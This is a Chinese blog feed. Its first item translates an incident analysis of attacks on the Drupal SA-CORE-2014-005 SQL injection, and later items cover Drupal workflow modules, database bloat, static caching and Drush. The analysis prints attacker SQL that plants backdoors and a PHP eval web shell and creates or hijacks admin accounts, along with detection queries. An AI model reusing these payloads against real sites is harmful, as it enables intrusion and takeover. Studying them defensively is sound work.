      <description>&lt;p&gt;在10月15日，黑客们忙着跟进一个问题：如何利用Drupal 7的&lt;a href=&#34;https://www.drupal.org/SA-CORE-2014-005&#34; target=&#34;_blank&#34;&gt;SA-CORE-2014&amp;ndash;005&lt;/a&gt;漏洞进行SQL注入。一个星期过去了，攻击者们仍然在持续忙碌。Moshe Weizman&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;发文&lt;/a&gt;解释了我们如何在这一缺陷暴露的情况下保护客户的网站。在本文中，我们会看看近期对&lt;a href=&#34;https://www.acquia.com/products-services/acquia-cloud&#34; target=&#34;_blank&#34;&gt;Acquia Cloud&lt;/a&gt;中针对SQL注入缺陷的攻击的来龙去脉。&lt;/p&gt;

&lt;p&gt;本文的数据基于Acquia Cloud上托管的几万个网站中产出的大量日志，并经过了内部工具的整理和分析。所有本文中提及的时间都是美国东部标准时间。我们目前认为Acquia Cloud中的站点尚未被击破，所以我们只会描述一些入侵的尝试，不过外边的Drupal站点来说，运气可能就没那么好了。如果在阅读本文时你还没有对你的站点进行修补，也许下一分钟你的站点就已经被侵入了。&lt;/p&gt;

&lt;p&gt;#模式1：docroot中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：7785&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 4:09&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;在官方声明当天，很多用户在Drupal.org的论坛和IRC报告他们发现站点的docroot中发现了&lt;a href=&#34;https://gist.github.com/joshkoenig/f5485f3db8efdd98f184&#34; target=&#34;_blank&#34;&gt;Josh Koenig描述的后门&lt;/a&gt;。它在你的核心模块目录中创建随机文件，例如&lt;code&gt;modules/aggregator/dlov.php&lt;/code&gt;，这是一个允许攻击者运行PHP代码的后门，很多用户说他们的站点已经被打了补丁。黑客们利用后门给Drupal打补丁，大概是为了确认他们对站点的所有权，并防止其他黑客的进入。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES (dlov, &#39;&#39;, &#39;&#39;, dlov, &#39;file_put_contents&#39;, HEX)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我跟踪这个攻击，发现了一个俄罗斯IP &lt;code&gt;62.76.191.119&lt;/code&gt;。IRC上的其他人也确认他们被入侵的站点也是遭到了同一个IP的入侵。这个IP从10.16 3:00到10.17 13:00的一段时间里，连接我们的平台36786次，这些连接包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在用户登录Form中，利用SQL注入漏洞执行上文提到的SQL语句。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多次到/dlov以及/?q=dlov的GET请求，用于在docroot中保存后门。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;更多的GET请求用于访问后门文件（modules/aggregator/dlov.php）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因为Acquia Cloud提供了SQL注入防范，所有的这些GET请求都返回了404，即使是第一个POST请求也没能突破这一防线。因为docroot是web server无法写入的，所以即使SQL注入能够执行，这一攻击对Acquia Cloud也是无法奏效的。&lt;/p&gt;

&lt;p&gt;下图展示了34个小时中针对不同站点的的7785次POST：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c7d0c2a188bad6b280dadad1d64a473f.png&#34; alt=&#34;post diagram&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用find [drupal_path]  -mtime -[day_count] -type f -print 列表指定天数内被修改的文件，应该可以检查站点是否符合本模式&lt;/em&gt;
#模式2：/user路径中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：732&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 7:38&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我在10月17日证实了这一模式后立即发表了&lt;a href=&#34;https://gist.github.com/scor/b566c0f4d94c5b012f6b&#34; target=&#34;_blank&#34;&gt;一篇文章&lt;/a&gt;。这一攻击启用了PHP模块，并更新&lt;code&gt;menu_router&lt;/code&gt;中&lt;code&gt;/user&lt;/code&gt;的&lt;code&gt;access_callback&lt;/code&gt;为&lt;code&gt;php_eval&lt;/code&gt;，这使得攻击者可以通过各种请求来执行任意PHP代码。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=HEX, access_callback=HEX WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (HEX, HEX);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这类攻击的长处在于，无需写入docroot，不过他在清除menu cache的时候同样暴露了。&lt;/p&gt;

&lt;p&gt;这类攻击并无特定IP特征，不过猜测可能来自于一群肉鸡。下面是一些我发现的IP：92.222.172.41, 199.27.76.34, 192.42.116.16, 199.27.76.30, 199.27.76.25, 162.247.72.7, 209.234.102.238, 85.25.103.48, 95.130.9.89。所有这些IP在我们的平台上都被标记为垃圾流量，最后四个IP是Tor IP：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/46bf3f6637b47f4cbc6d87f67882ed8c.png&#34; alt=&#34;tor ip&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用&lt;code&gt;select * from menu_router where access_callback=&#39;php_eval&#39;&lt;/code&gt;应该可以检查该模式&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#模式3：在Body中创建一个PHP代码Block&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：24&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.17 9:17&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;攻击者创建一个自定义Block，格式为PHP代码，并在Block中插入以下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    &amp;lt;?php @eval($_POST[&#39;caodaoyoule&#39;]);?&amp;gt;

        insert into block(module,delta,theme,status,weight,region,custom,visibility,pages,title,cache) values (&#39;block&#39;,&#39;63353&#39;,(select substring_index(substring_index(value,&#39;&amp;quot;&#39;,&#39;2&#39;),&#39;&amp;quot;&#39;,-1) from variable where name=&#39;theme_default&#39;),1,0,&#39;footer&#39;,0,0,&#39;&#39;,&#39;&#39;,-1);insert into block_custom(bid,body,info,format) values (63353,HEX,&#39;nonono&#39;,&#39;php_code&#39;);insert into filter_format values (&#39;php_code&#39;,&#39;PHP_code&#39;,0,1,11);insert into filter values (&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_autop&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_htmlcorrector&#39;, 10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html_escape&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_url&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;php&#39;, &#39;php_code&#39;, 0, 1, HEX);update system set status=1,schema_version=0;delete from cache_bootstrap;delete from cache;delete from cache_menu;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;译者注：用查询&lt;code&gt;select * from block_custom where format=&#39;php_code&#39;&lt;/code&gt;，列出格式为PHP CODE的所有Block&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#其他模式：复位管理用户名和密码，或者插入新的管理员用户&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：3000+&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.15 20:20&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这个模式是最先出现的。&lt;/p&gt;

&lt;p&gt;下面这个查询对1号用户进行重命名，并修改了密码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    update users set name=&#39;jhuang&#39; , pass = &#39;HASH&#39; where uid = &#39;1&#39;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面的查询创建了一个新的用户，并给他一个巨大的uid，使之不会同现存用户冲突。角色ID为3，3是缺省的管理员角色编号。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    insert into {users} (uid,name,pass,status) values (333333,&#39;admin2&#39;,&#39;HASH&#39;,1);insert into {users_roles} (uid,rid) values(333333,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;主要的发起IP是：118.113.158.7, 103.242.1.193, 118.113.158.7, 125.70.172.51, 222.211.211.65, 125.70.173.81, 103.242.1.193&lt;/p&gt;

&lt;p&gt;另外一个类似的查询是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `users` VALUES (9999,HASH,&#39;test@test.com&#39;,&#39;&#39;,&#39;&#39;,NULL,1413423527,1413426879,1413426953,1,&#39;Africa/Abidjan&#39;,&#39;&#39;,0,&#39;test@test.com&#39;,&#39;b:0;&#39;);insert into `users_roles` values (9999,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个查询很有趣：攻击者试图把自己的IP替换为Google DNS的8.8.8.8。&lt;/p&gt;

&lt;p&gt;下面的查询查找最大UID用于接下来的写入动作：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name=&#39;phantom&#39; , pass = &#39;HASH&#39;;INSERT INTO users_roles set uid=@a,rid=3;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;#结论&lt;/p&gt;

&lt;p&gt;这些问题给我们一个机会去学习黑客们面对未关闭漏洞的行为方式。攻击者们在漏洞发现后的几个小时内就开始攻击。我们不确定攻击者需要掌握多少Drupal相关的知识，但是现有情况表明，一点点就足以致命。如果你目前还没有对你的站点进行修补，而且没有托管在Acquia这样的平台上，几乎可以肯定你已经被攻击了。&lt;/p&gt;

&lt;p&gt;在对攻击的分析中，我们认为攻击者并不只是针对Drupal 7：我们发现攻击者同样瞄准了Drupal 5和6的站点。99%的被攻击域都是极少被攻击的开发站点或是无用站点。我们没有发现尝试修改内容或停掉网站的攻击，攻击者们似乎只乐于安装后门，获取控制权，并隐藏入侵迹象。本文中多数查询都是节选。被去掉的部分都是MySQL自然支持的&lt;a href=&#34;https://dev.mysql.com/doc/refman/5.0/en/hexadecimal-literals.html&#34; target=&#34;_blank&#34;&gt;十六进制&lt;/a&gt;。黑客们似乎偏爱用这种方式来混淆危险的PHP操作，并骗过可能的检测。&lt;/p&gt;

&lt;p&gt;要确定你的站点是否被侵入，可参考&lt;a href=&#34;https://www.drupal.org/node/2357241&#34; target=&#34;_blank&#34;&gt;官方的FAQ&lt;/a&gt;，并阅读&lt;a href=&#34;https://github.com/greggles/cracking-drupal/blob/master/after-an-exploit.md&#34; target=&#34;_blank&#34;&gt;《站点被黑怎么办？》&lt;/a&gt;。另外还有个有用的流程图：&lt;a href=&#34;http://drupal.geek.nz/blog/your-drupal-websites-backdoor&#34; target=&#34;_blank&#34;&gt;Your Drupal website has a backdoor&lt;/a&gt;。值得注意的是，即使你打了7.32补丁，也可能在打补丁之前被入侵，可以参看&lt;a href=&#34;https://www.drupal.org/node/2362315&#34; target=&#34;_blank&#34;&gt;reported a hack on the zen theme on this site&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;还有一个问题是，这次SQL注入缺陷是否在login form之外被利用。目前我们还没有发现这种情况，我们的客户以及Drupal社区也没有报告此类攻击。这不意味着不存在这种风险，说不定已经存在这种攻击。我们相信&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;we protected all our customers from this attack&lt;/a&gt;能够防范类似的攻击，当然，这种推测只能靠时间来证明。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal工作流概览</title>
      <link>/post/drupal-workflow-summary/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-workflow-summary/</guid>
      <description>

&lt;p&gt;现在，一个商业公司如果发布了静态或者过时的Web内容，会给人造成不合时宜、步履蹒跚的印象，因此，各种机构都体会到了要频繁创作Web内容，更新现有内容以及同在线用户分享文档的持续增长的压力。&lt;/p&gt;

&lt;p&gt;内容维护的压力使得内容采编人员的编制随之增长，人数的增长就要求组织利用Drupal这样的内容管理系统，来开发并执行一套内容采编流程。最主要的挑战是如何为众多的采编人员提供一个环境，这一环境能够在不影响现有的内容，也不降低安全性的前提下，让采编人员能够发布内容。在此基础上，还要建立品牌标准并提供质量保障。这一过程涉及到的内容编写和审批的职责：&lt;/p&gt;

&lt;h3 id=&#34;编辑-审批&#34;&gt;编辑/审批&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;审查：是否有淫秽或者其他的负面内容？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;可读性：有没有语法、格式拼写或者其他类似问题？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;准确性：内容是否真实？其中涉及到的统计数字以及事实是否需要再次确认？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;品牌：是否正确使用公司的字体、颜色以及图片？内容、语气以及技术术语是否符合公司的标准？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;版权：公司是否有权发布这些内容、图像以及外部文档？所有的来源引用是否都有标明？&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;作者&#34;&gt;作者&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;提供能够准确体现公司信息的内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;准确，专业，及时&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;务必保证内容能够被团队以及其他受众接受，耸人听闻、哗众取宠永远不是好主意。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;发布内容应有保存价值，好内容的价值会持续较长的时间。别发什么公司野炊之类的破事，一周后就没人记得这回事了。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上面列出了两种角色，接下来我们看看Drupal 7能为这种场景提供什么样的解决方案。&lt;/p&gt;

&lt;p&gt;Drupal 7核心目前并未提供发布内容的流程管理。一个内容Node(页面)只能是发布或者未发布状态。然而，有些第三方模块实现了我们需要的功能。&lt;/p&gt;

&lt;h2 id=&#34;workbench模块&#34;&gt;Workbench模块&lt;/h2&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2385d1132ee3f1b452fd5592677ae081.png&#34; alt=&#34;Workbench&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对内容管理工作流程，&lt;a href=&#34;http://drupal.org/project/workbench&#34; target=&#34;_blank&#34;&gt;Workbench&lt;/a&gt;提供了模块化的支持能力。有很多模块可以启用或者禁用，以此来定制不同类型的工作流。这个模块包含大量代码，涉及到方方面面。还可以编写自己的模块对Workbench进行扩展。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/documentation/modules/workbench&#34; target=&#34;_blank&#34;&gt;WorkBench套件&lt;/a&gt;有很完备的演示视频、文档以及相关模块的连接。在这里必须夸奖一下他的高质量代码、文档以及深思熟虑的模块结构。这些模块以经典的Drupal模式构建，易于配置浏览和使用。Workbench的弹性令人印象深刻。他能简单的生成常见的简单工作流，也能针对各种环境，通过定制实现复杂的应用流程。&lt;/p&gt;

&lt;p&gt;##Workflow模块&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/workflow&#34; target=&#34;_blank&#34;&gt;Workflow&lt;/a&gt;是本文中三个模块中最成熟的一个。他为内容发布状态管理提供了一个简单的工作流方案，他为指定的内容类型提供了包含草稿、审核以及发布状态。&lt;/p&gt;

&lt;p&gt;用于承载状态的Field在内容编辑界面可以进行控制，同时也为管理员提供了简单的配置页面。还可以利用Views列出不同状态下的内容。&lt;/p&gt;

&lt;p&gt;##Maestro模块&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8e9a3bc4620911d5aa8727e5b5d63057.png&#34; alt=&#34;Maestro&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/maestro&#34; target=&#34;_blank&#34;&gt;Maestro&lt;/a&gt;是Drupal 7下面的一个非常强大的工作流系统，他通常见于出版性网站。有&lt;a href=&#34;http://www.nutshell.nu/comment/72&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;演示了一篇内容从草稿状态转变为发布状态的过程。这一系统可以满足出版者任何复杂需要，他也可以用极简的方式进行配置。&lt;/p&gt;

&lt;p&gt;Maestor的最为独特的功能就是图形化的工作流设计器了。这一特性以图形界面提供了直觉化的工作流设计功能，其中以令人惊叹的方式提供了必要的配置功能。然而，这依然需要一些学习，新潮的界面和交互，以及右键菜单，都需要学习和适应。&lt;/p&gt;

&lt;p&gt;抛开实现问题不谈，最重要的是识别工作流的需求。推荐下面的检查表，该列表用于确认需求的要点是否都被满足：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;版本：必须能够记录、回滚，并能够进行版本之间的比较。Drupal核心提供了版本控制能力，不过有些工作流模块提供了更好的扩展。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;备注：应该具有一个备注字段，让编辑和作者能够留下各自的备注。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;时间表：内容定时过期或定时撤回已发布内容是一个很有用的功能。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;审核队列：审核队列需要非常易用，这方面是否便利，会直接影响到系统的选型工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多重审核：在内容发布之前，进行多步审核是很有帮助的。例如，可能三个或者四个部门经理需要在内容发布之前进行确认。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后，工作流系统的合理建设，能够通过结构化的通信和有组织的内容，让组织内的各种角色更好的参与内容发布过程，极大的提高在线内容的质量。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal数据库异常臃肿的检测和排除</title>
      <link>/post/drupal-database-cleanup/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-database-cleanup/</guid>
      <description>&lt;p&gt;Drupal网站利用数据库来保存配置和内容。&lt;/p&gt;

&lt;p&gt;在普遍情况下（小规模部署），这个数据库是很紧凑的。例如我管理的这个网站一般只在5-20M之间。数据库尺寸主要受到内容数量和模块的影响。&lt;/p&gt;

&lt;p&gt;然而，我曾经被一条主机商发来的通知吓了一跳，说我的网站使用了超过2G的存储，我想一定是出了什么问题。&lt;/p&gt;

&lt;p&gt;这里我会分享我解决这个问题的一些心得，我想如果你遇到这些问题，也会有相似的情况。&lt;/p&gt;

&lt;p&gt;（提示一下，可以使用&lt;a href=&#34;http://drush.ws/#sql-cli&#34; target=&#34;_blank&#34;&gt;drush sqlc&lt;/a&gt;来在你的网站数据库上运行SQL命令）&lt;/p&gt;

&lt;p&gt;##数据库层面&lt;/p&gt;

&lt;p&gt;找到受影响的数据库。一般来说，每个网站对应一个数据库——除非你在使用一个多站点配置。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    table_schema &amp;quot;DB Name&amp;quot;,
    ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) &amp;quot;DB Size in MB&amp;quot; 
FROM information_schema.tables
GROUP BY table_schema;

+--------------------+---------------+
| DB Name            | DB Size in MB |
+--------------------+---------------+
| information_schema |           0.2 |
| drupal_database    |        1110.2 |
+--------------------+---------------+
2 rows in set (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里你会发现，我的数据库用户只能看到两个数据库，*information_schema*是一个内部数据库，主数据库叫做drupal_database&lt;/p&gt;

&lt;p&gt;##数据表层面&lt;/p&gt;

&lt;p&gt;下一步是来查明让数据库膨胀至此的原因。对数据库中的表进行排查。&lt;/p&gt;

&lt;p&gt;我发现*&amp;ldquo;order by size&amp;rdquo;*很有用，他只会显示五个最大的表，这五个表很可能就是问题所在。如果不是这样，那可能是个好消息——你的网站已经成长到了如此规模。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    table_name,
    table_rows,
    data_length,
    index_length,
    ROUND(((data_length + index_length) / 1024 / 1024),2) &#39;Table Size in MB&#39;
FROM information_schema.tables
WHERE table_type = &#39;BASE TABLE&#39;
ORDER BY data_length DESC
LIMIT 5;

+---------------------+------------+-------------+--------------+------------------+
| table_name          | table_rows | data_length | index_length | Table Size in MB |
+---------------------+------------+-------------+--------------+------------------+
| queue               |     137362 |  1137704424 |      4017152 |          1088.83 |
| field_revision_body |       1731 |     5259276 |       154624 |             5.16 |
| field_data_body     |       1731 |     5259276 |       145408 |             5.15 |
| feeds_log           |      27455 |     2712868 |      1131520 |             3.67 |
| menu_router         |        401 |      406128 |        76800 |             0.46 |
+---------------------+------------+-------------+--------------+------------------+
5 rows in set (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在我的例子中，*queue*表占用了98%的空间，这就是问题了。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.queue.inc/group/queue/7&#34; target=&#34;_blank&#34;&gt;Drupal使用queue表来存储将被cron运行的任务&lt;/a&gt;，如果cron成功运行，那么这里应该是个空表，或者在上次cron运行之后产生的很少几条记录。&lt;/p&gt;

&lt;p&gt;##任务层面&lt;/p&gt;

&lt;p&gt;为了查明事实，我查看了一下这个表中的task类型。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;SELECT
    name,
    COUNT(1)
FROM queue
GROUP BY name;

+---------------------+----------+
| name                | COUNT(1) |
+---------------------+----------+
| feeds_source_import |   137498 |
+---------------------+----------+
1 row in set (0.07 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里只剩下一条结果，是&lt;a href=&#34;https://drupal.org/project/feeds&#34; target=&#34;_blank&#34;&gt;feeds模块&lt;/a&gt;用于从rss导入内容创建的任务。检查了一下这个导入设置，我发现，这个任务被配置为15分钟一次，然而cron被配置为每小时运行一次。这意味着，每次cron运行，是无法完成所有的任务的，所以任务数据就会持续增长下去了。&lt;/p&gt;

&lt;p&gt;解决问题也很简单，提高cron的运行频率，降低导入触发频率，来确保cron能够顺利完成所有任务。&lt;/p&gt;

&lt;p&gt;这里对膨胀的表的处理还有一点遗留问题，如果cron能够顺利完成，数据表应该恢复正常大小。如果你不放心，可以直接truncate这张表，当然是在你知道这一行为的后果是否会影响必要任务的情况下。&lt;/p&gt;

&lt;p&gt;##基准测试&lt;/p&gt;

&lt;p&gt;下面是同一个查询在一个&amp;rdquo;正常&amp;rdquo;的网站下的运行结果。&lt;/p&gt;

&lt;p&gt;这里你会看到，没有什么数据在尺寸上鹤立鸡群，这个数据库只有10M。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;+--------------------+---------------+
| DB Name            | DB Size in MB |
+--------------------+---------------+
| information_schema |           0.2 |
| drupal_database    |           6.1 |
+--------------------+---------------+
2 rows in set (0.12 sec)

+---------------------+------------+-------------+--------------+------------+
| TABLE_NAME          | table_rows | data_length | index_length | Size in MB |
+---------------------+------------+-------------+--------------+------------+
| field_revision_body |        423 |     1556716 |        47104 |       1.53 |
| menu_router         |        450 |      425076 |        80896 |       0.48 |
| system              |        390 |      313544 |        73728 |       0.37 |
| field_data_body     |         37 |      135968 |        18432 |       0.15 |
| registry            |        965 |       94016 |        53248 |       0.14 |
+---------------------+------------+-------------+--------------+------------+
5 rows in set (0.02 sec)

+----------+
| count(1) |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Drupal静态缓存</title>
      <link>/post/drupal-static-cache/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-static-cache/</guid>
      <description>&lt;p&gt;Drupal的伸缩性是存在的，而且非常强大。当我们问别人对Drupal的看法时候，多数时间得到的答案是：据说那东西很慢。在我的工作中见到过很多性能低下的Drupal站点，缓存是其中的重要原因。即使是基础的Drupal安装，其中也包含了一套针对数据表的多层缓存，不幸的是，这一缓存体系很容易被开发者破坏。&lt;/p&gt;

&lt;p&gt;阻碍缓存的最大原因可能就是在自定义模块中错过了利用缓存提升性能的机会。把计算后的结果保存在PHP变量中，接下来的调用过程可能会得到成百上千倍的性能提升。要使用这一技巧只需要很小成本：如果一个结果已经得出，就返回这一结果；否则，运算得到结果之后，首先保存结果，然后才返回。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    function apachesolr_static_response_cache($searcher, $response = NULL) {
      $_response = &amp;amp;drupal_static(__FUNCTION__, array());

      if (is_object($response)) {
        $_response[$searcher] = clone $response;
      }
      if (!isset($_response[$searcher])) {
        $_response[$searcher] = NULL;
      }
      return $_response[$searcher];
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Apache Solr模块在很多地方使用了静态缓存，例如即使一个页面上存在多个搜索相关的Block，也保证每次请求只执行一个Solr搜索。&lt;/p&gt;

&lt;p&gt;和其他缓存方案一样，缓存命中时候的访问速度和缓存未命中时的差异决定了缓存的效益。耗时长、执行频繁并且经常返回重复值的函数，通过缓存能够获得最好的收益，这一标准非常清晰，Drupal很多代码符合这一要求。&lt;/p&gt;

&lt;p&gt;很多重负载的核心函数进行了静态缓存：&lt;code&gt;menu.module&lt;/code&gt;使用了一个树状的数据结构，这意味着需要做很多重复的递归工作。当页面上有多处使用菜单的情况下，有了静态缓存的帮助，处理时间得到了极大的缩减。类似的还有Drupal的分类系统——在列表或画廊页面中，分类词的处理可能要进行非常多的次数。在&lt;code&gt;taxonomy.module&lt;/code&gt;中的五个函数包含了对&lt;code&gt;drupal_static()&lt;/code&gt;的调用，用于加速重复工作。&lt;/p&gt;

&lt;p&gt;Drupal中还有一类函数，他们的执行非常快速，但是在很多位置调用，并且返回结果几乎不会变化。&lt;code&gt;drupal_is_front_page()&lt;/code&gt;以及&lt;code&gt;drupal_page_is_cacheable()&lt;/code&gt;只是简单的检查，一个更好的例子是&lt;code&gt;ip_address()&lt;/code&gt;。这个函数需要处理HTTP头中的&lt;code&gt;X-Forwarded-For&lt;/code&gt;，用于确定用户的真实IP地址，这需要字符串运算。相对其他操作来说，字符串解析需要更多的函数调用和内存访问。&lt;/p&gt;

&lt;p&gt;上面的文字听起来很不错，不过如果缓存值不再准确了会怎样？虽说静态缓存只在一次请求中有效，这其中仍然存在缓存过期的可能性。在缓存函数内部对缓存数据进行失效处理是很容易的，但是由于缓存变量的作用域限制，会阻止其他函数访问。这意味着，静态缓存的实现还是可能有引入其他问题。&lt;/p&gt;

&lt;p&gt;在Drupal 7之前，函数需要自行决定是否暴露失效缓存的途径。有些通过跟踪一个不太优雅的&amp;rsquo;失效缓存&amp;rsquo;的参数，不过多数连这个都没有。Druapl 7中加入&lt;code&gt;drupal_static&lt;/code&gt;，让函数可以暴露一个可以为其他函数所用的静态变量，这样就可以在函数作用域之外改变这一变量了。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ip_address()&lt;/code&gt;函数是个静态缓存的好例子。很多站点具有地理相关的功能（例如把用户重定向到缺省语言或者展示本地内容），这种功能的测试也明显的比较麻烦。Smart IP模块实现了一个测试，用一个IP伪造的Form来测试用户权限和debug变量：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    if (user_access(&#39;administer smart_ip&#39;) &amp;amp;&amp;amp; variable_get(&#39;smart_ip_debug&#39;, FALSE)) {

        $ip = variable_get(&#39;smart_ip_test_ip_address&#39;, ip_address());

        $location = smart_ip_get_location($ip);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如何对这个内容进行自动化测试呢？测试账号需要访问权限（阻止匿名用户访问测试函数），IP 地址的变化也会影响到管理员用户。更糟糕的是，每次对测试IP地址的修改都会导致一次variable表的写入，这会拖慢整个站点。&lt;/p&gt;

&lt;p&gt;因为&lt;code&gt;ip_address()&lt;/code&gt;使用&lt;code&gt;drupal_static()&lt;/code&gt;暴露了他的静态缓存，所以就可以修改他的返回值了。这样测试过程就可以测试所有IP相关的函数，而不需要用户账号、权限或者对variable表的访问。要切换回普通的IP Address功能只要调用一次&lt;code&gt;drupal_static_reset()&lt;/code&gt;，这将导致&lt;code&gt;ip_address()&lt;/code&gt;的下次调用会像初次调用一样。&lt;/p&gt;

&lt;p&gt;Drupal.org列出了Drupal 7核心中的180次对&lt;code&gt;drupal_statc()&lt;/code&gt;的调用，drupalcontrib.org中报告了563此。并不是每次&lt;code&gt;drupal_static()&lt;/code&gt;调用都是静态缓存，也不是每个静态缓存都用&lt;code&gt;drupal_static&lt;/code&gt;实现，不过这仍然给我们以灵感，如何通过静态缓存来提高Drupal的性能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drush提示用户输入的三种方式</title>
      <link>/post/drush-prompt-for-input/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drush-prompt-for-input/</guid>
      <description>&lt;p&gt;Drush是个能让Drupal变简单的好东西。他不仅带有大量的有用工具，同时为用户提供了接口，让用户可以轻松实现自己的命令。如果你需要为你的模块创建Drush命令，只要创建一个包含这些功能命令即可。&lt;/p&gt;

